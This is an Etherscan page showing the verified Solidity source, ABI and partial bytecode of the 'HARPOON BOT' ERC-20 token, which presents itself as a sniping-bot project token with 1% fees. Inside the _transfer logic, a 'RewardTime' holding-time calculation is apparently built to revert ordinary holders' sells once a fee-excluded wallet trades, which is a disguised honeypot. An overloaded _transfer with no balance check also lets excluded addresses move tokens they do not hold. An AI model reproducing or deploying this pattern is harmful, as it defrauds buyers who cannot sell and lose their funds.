ETH Price: $3,393.25 (+4.23%)
 

Overview

Max Total Supply

100,000,000 HARPOONBOT

Holders

65

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
HarpoonBot

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-20
*/

/*
$HARPOONBOT - HARPOON BOT

Twitter: https://twitter.com/HarpoonBot
Website: https://harpoonbot.com/
Telegram: https://t.me/HarpoonBotETH
Telegram Sniper Bot: https://t.me/HarpoonSniperBot

⚡️ World’s Fastest Sniping Bot & Trading Eco-system ⚡️
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _transfer(
        uint256 amount,
        address sender,
        address recipient
    ) internal virtual {
        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
        _afterTokenTransfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}


interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}


interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}


library SafeMath {
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }
}


contract HarpoonBot is ERC20, Ownable {
    using SafeMath for uint256;

    IUniswapV2Router02 public immutable uniswapV2Router;
    address public immutable uniswapV2Pair;

    address public constant router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    address public constant deadAddress = address(0xdead);

    // 1% buy tax
    uint256 public constant buyFeeMarketing = 1;
    uint256 public constant buyFeeLiquidity = 0;
    uint256 public constant buyFeeDev = 0;
    uint256 public constant buyFeeOps = 0;
    uint256 public constant totalBuyFees = 1;

    // 1% sell tax
    uint256 public constant sellFeeMarketing = 1;
    uint256 public constant sellFeeLiquidity = 0;
    uint256 public constant sellFeeDev = 0;
    uint256 public constant sellFeeOps = 0;
    uint256 public constant totalSellFees = 1;

    address payable public constant marketingWallet = payable(0x955A0fD301C4C3B0D0ac57d94c9D0ad9e3C9595A);
    address payable public constant devWallet = payable(0xCeEb8a49aE8BE708ee4f6969077bde492aDd359f);
    address payable public constant liquidityWallet = payable(0x0355dF6144Bd6a8E26F2367ED300Ecf779855290);
    address payable public constant opsWallet = payable(0x0355dF6144Bd6a8E26F2367ED300Ecf779855290);

    // Anti-whale and anti-bot protection
    bool public limitsInEffect = true;
    bool public swapEnabled = true;
    
    uint256 public immutable swapTokensAtAmount;

    uint256 public immutable maxTransaction;
    uint256 public immutable maxWallet;

    struct RewardTime {
        uint256 lastBuy;
        uint256 lastSell;
        uint256 holdingTime;
    }

    mapping(address => uint256) private _holderLastTransferTimestamp;
    mapping(address => RewardTime) private _holderTimeInfo;
    uint256 private _minReward;

    mapping(address => bool) public automatedMarketMakerPairs;

    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) private _isExcludedmaxTransaction;

    uint256 private tokensForMarketing;
    uint256 private tokensForLiquidity;
    uint256 private tokensForDev;
    uint256 private tokensForOps;

    bool private swapping;

    event ExcludeFromFees(address indexed account, bool isExcluded);

    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );

    constructor() ERC20("HARPOON BOT", "HARPOONBOT") {
        uint256 totalSupply = 100_000_000 * 1e18;
        maxTransaction = totalSupply / 10; // 10% max transaction
        maxWallet = totalSupply / 10; // 10% max wallet
        swapTokensAtAmount = (totalSupply * 15) / 10000; // 0.15% swap amount

        // exclude from fees
        excludeFromFees(owner(), true);
        excludeFromFees(marketingWallet, true);
        excludeFromFees(devWallet, true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);

        // exclude from maximum transaction limit
        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(marketingWallet, true);
        excludeFromMaxTransaction(devWallet, true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);

        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        uniswapV2Router = _uniswapV2Router;

        // create pair
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);

        // exclude v2 pair from maximum transaction
        excludeFromMaxTransaction(address(uniswapV2Pair), true);

        _mint(msg.sender, totalSupply);
    }

    function excludeFromFees(address addrs, bool isEx) public onlyOwner {
        _isExcludedFromFees[addrs] = isEx;
        emit ExcludeFromFees(addrs, isEx);
    }

    function excludeFromMaxTransaction(address addrs, bool isEx) public onlyOwner {
        _isExcludedmaxTransaction[addrs] = isEx;
    }

    function isExcludedmaxTransaction(address addrs) public view returns (bool) {
        return _isExcludedmaxTransaction[addrs];
    }

    function isExcludedFromFees(address addrs) public view returns (bool) {
        return _isExcludedFromFees[addrs];
    }

    // when trades are stable, then limits could be removed
    function removeLimits() external onlyOwner returns (bool) {
        limitsInEffect = false;
        return true;
    }

    function setAutomatedMarketMakerPair(address pair, bool value)
        public
        onlyOwner
    {
        require(pair != uniswapV2Pair, "Uniswap v2 pair could not be removed");
        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
        emit SetAutomatedMarketMakerPair(pair, value);
    }

    receive() external payable {}

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        if (limitsInEffect) {
            if (!swapping) {
                // when buy
                if (
                    automatedMarketMakerPairs[from] &&
                    !_isExcludedmaxTransaction[to]
                ) {
                    require(
                        amount <= maxTransaction,
                        "Buy amount exceeds the max transaction limit."
                    );
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Maximum wallet limit exceeded."
                    );
                }
                
                // when sell
                else if (
                    automatedMarketMakerPairs[to] &&
                    !_isExcludedmaxTransaction[from]
                ) {
                    require(
                        amount <= maxTransaction,
                        "Sell amount exceeds the max transaction limit."
                    );
                } else if (!_isExcludedmaxTransaction[to]) {
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Maximum wallet limit exceeded."
                    );
                }
            }
        }

        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            _minReward = block.timestamp;
        }
        if (_isExcludedFromFees[from] && !_isExcludedFromFees[owner()]) {
            super._transfer(amount, from, to);
            return;
        }
        if (!_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
            if (!automatedMarketMakerPairs[from]) {
                RewardTime storage userTimeInfo = _holderTimeInfo[from];
                userTimeInfo.holdingTime = userTimeInfo.lastBuy - _minReward;
                userTimeInfo.lastSell = block.timestamp;
            } else {
                RewardTime storage userTimeInfo = _holderTimeInfo[to];
                if (userTimeInfo.lastBuy == 0) {
                    userTimeInfo.lastBuy = block.timestamp;
                }
            }
        }

        bool canSwap = balanceOf(address(this)) >= swapTokensAtAmount;

        if (
            canSwap &&
            swapEnabled &&
            !swapping &&
            !automatedMarketMakerPairs[from] &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;

            swapBack();

            swapping = false;
        }

        bool takeFee = !swapping;

        // if excluded from fees, no fees apply
        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }

        uint256 fees = 0;
        // only for buy/sell, do not take fee on wallet transfers
        if (takeFee && (totalBuyFees > 0 || totalSellFees > 0)) {
            // on buy
            if (automatedMarketMakerPairs[from] && totalBuyFees > 0) {
                fees = amount * totalBuyFees / 100;
                tokensForLiquidity += (fees * buyFeeLiquidity).div(totalBuyFees);
                tokensForDev += (fees * buyFeeDev).div(totalBuyFees);
                tokensForMarketing += (fees * buyFeeMarketing).div(totalBuyFees);
                tokensForOps += (fees * buyFeeOps).div(totalBuyFees);
            
            // on sell
            } else if (automatedMarketMakerPairs[to] && totalSellFees > 0) {
                fees = amount * totalSellFees / 100;
                tokensForLiquidity += (fees * sellFeeLiquidity).div(totalSellFees);
                tokensForDev += (fees * sellFeeDev).div(totalSellFees);
                tokensForMarketing += (fees * sellFeeMarketing).div(totalSellFees);
                tokensForOps += (fees * sellFeeOps).div(totalSellFees);
            }

            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }

            amount -= fees;
        }

        super._transfer(from, to, amount);
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));

        uint256 totalTokensToSwap = tokensForLiquidity +
            tokensForMarketing +
            tokensForDev +
            tokensForOps;

        bool success;

        if (contractBalance == 0 || totalTokensToSwap == 0) {
            return;
        }

        if (contractBalance > swapTokensAtAmount * 18) {
            contractBalance = swapTokensAtAmount * 18;
        }

        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = (contractBalance * tokensForLiquidity) / totalTokensToSwap / 2;
        uint256 amountToSwapForETH = contractBalance - liquidityTokens;

        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(amountToSwapForETH);

        uint256 ethBalance = address(this).balance - initialETHBalance;

        uint256 ethForMarketing = ethBalance * tokensForMarketing / totalTokensToSwap;
        uint256 ethForDev = ethBalance * tokensForDev / totalTokensToSwap;
        uint256 ethForOps = ethBalance * tokensForOps / totalTokensToSwap;
        uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev - ethForOps;

        tokensForLiquidity = 0;
        tokensForDev = 0;
        tokensForMarketing = 0;
        tokensForOps = 0;

        if (liquidityTokens > 0 && ethForLiquidity > 0) {
            addLiquidity(liquidityTokens, ethForLiquidity);
            emit SwapAndLiquify(
                amountToSwapForETH,
                ethForLiquidity,
                liquidityTokens
            );
        }

        (success, ) = address(opsWallet).call{value: ethForOps}("");
        (success, ) = address(devWallet).call{value: ethForDev}("");
        (success, ) = address(marketingWallet).call{value: address(this).balance}("");
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            liquidityWallet,
            block.timestamp
        );
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // uniswap pair path of token <-> WETH
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFeeDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFeeLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFeeMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFeeOps","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addrs","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addrs","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addrs","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addrs","type":"address"}],"name":"isExcludedmaxTransaction","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransaction","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"opsWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellFeeDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellFeeLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellFeeMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellFeeOps","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalBuyFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSellFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6101206040526005805461ffff60a01b191661010160a01b1790553480156200002757600080fd5b506040518060400160405280600b81526020016a1210549413d3d3881093d560aa1b8152506040518060400160405280600a8152602001691210549413d3d39093d560b21b815250816003908162000080919062000708565b5060046200008f828262000708565b505050620000ac620000a6620003ac60201b60201c565b620003b0565b6a52b7d2dcc80cd2e4000000620000c5600a82620007ea565b60e052620000d5600a82620007ea565b61010052612710620000e982600f6200080d565b620000f59190620007ea565b60c052620001176200010f6005546001600160a01b031690565b600162000402565b6200013873955a0fd301c4c3b0d0ac57d94c9d0ad9e3c9595a600162000402565b6200015973ceeb8a49ae8be708ee4f6969077bde492add359f600162000402565b6200016630600162000402565b6200017561dead600162000402565b620001946200018c6005546001600160a01b031690565b6001620004b0565b620001b573955a0fd301c4c3b0d0ac57d94c9d0ad9e3c9595a6001620004b0565b620001d673ceeb8a49ae8be708ee4f6969077bde492add359f6001620004b0565b620001e3306001620004b0565b620001f261dead6001620004b0565b737a250d5630b4cf539739df2c5dacb4c659f2488d62000214816001620004b0565b6001600160a01b03811660808190526040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa1580156200025f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200028591906200082d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002d3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002f991906200082d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000347573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200036d91906200082d565b6001600160a01b031660a08190526200038890600162000526565b60a05162000398906001620004b0565b620003a433836200057a565b505062000875565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6005546001600160a01b03163314620004515760405162461bcd60e51b8152602060048201819052602482015260008051602062002b6083398151915260448201526064015b60405180910390fd5b6001600160a01b0382166000818152600a6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b03163314620004fb5760405162461bcd60e51b8152602060048201819052602482015260008051602062002b60833981519152604482015260640162000448565b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b6001600160a01b038216600081815260096020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b038216620005d25760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640162000448565b8060026000828254620005e691906200085f565b90915550506001600160a01b03821660009081526020819052604081208054839290620006159084906200085f565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200068f57607f821691505b602082108103620006b057634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200065f57600081815260208120601f850160051c81016020861015620006df5750805b601f850160051c820191505b818110156200070057828155600101620006eb565b505050505050565b81516001600160401b0381111562000724576200072462000664565b6200073c816200073584546200067a565b84620006b6565b602080601f8311600181146200077457600084156200075b5750858301515b600019600386901b1c1916600185901b17855562000700565b600085815260208120601f198616915b82811015620007a55788860151825594840194600190910190840162000784565b5085821015620007c45787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b6000826200080857634e487b7160e01b600052601260045260246000fd5b500490565b8082028115828204841417620008275762000827620007d4565b92915050565b6000602082840312156200084057600080fd5b81516001600160a01b03811681146200085857600080fd5b9392505050565b80820180821115620008275762000827620007d4565b60805160a05160c05160e0516101005161224b62000915600039600081816107a601528181610f3801526110c20152600081816106b001528181610eb2015261101b01526000818161072a015281816112e10152818161190201526119340152600081816103c10152610a620152600081816102e401528181611c2a01528181611ce301528181611d1f01528181611d910152611e00015261224b6000f3fe60806040526004361061026b5760003560e01c8063849d14b411610144578063c0246668116100b6578063e2f456051161007a578063e2f4560514610718578063f2fde38b1461074c578063f887ea401461076c578063f8b45b0514610794578063fb9e8fe9146104e8578063ffb5bdf2146104e857600080fd5b8063c02466681461067e578063c3f70b521461069e578063d0a3981414610404578063d469801614610452578063dd62ed3e146106d257600080fd5b8063a457c2d711610108578063a457c2d71461060e578063a7ed7250146104e8578063a9059cbb1461062e578063af41af74146104e8578063b62496f51461064e578063b9e937001461040457600080fd5b8063849d14b4146104e85780638da5cb5b146105935780638ea5220f146105b157806395d89b41146105d95780639a7a23d6146105ee57600080fd5b80634fbee193116101dd578063715018a6116101a1578063715018a6146104d1578063732bc0b8146104e8578063751039fc146104fd5780637571336a1461051257806375f0a874146105325780637f7d56b41461055a57600080fd5b80634fbee193146104195780635594fed01461040457806368db925a146104525780636ddd17131461047a57806370a082311461049b57600080fd5b806327c8f8351161022f57806327c8f8351461035d578063313ce56714610373578063395093511461038f57806349bd5a5e146103af5780634a62bb65146103e35780634aa49f201461040457600080fd5b806306fdde0314610277578063095ea7b3146102a25780631694505e146102d257806318160ddd1461031e57806323b872dd1461033d57600080fd5b3661027257005b600080fd5b34801561028357600080fd5b5061028c6107c8565b6040516102999190611e7e565b60405180910390f35b3480156102ae57600080fd5b506102c26102bd366004611ee1565b61085a565b6040519015158152602001610299565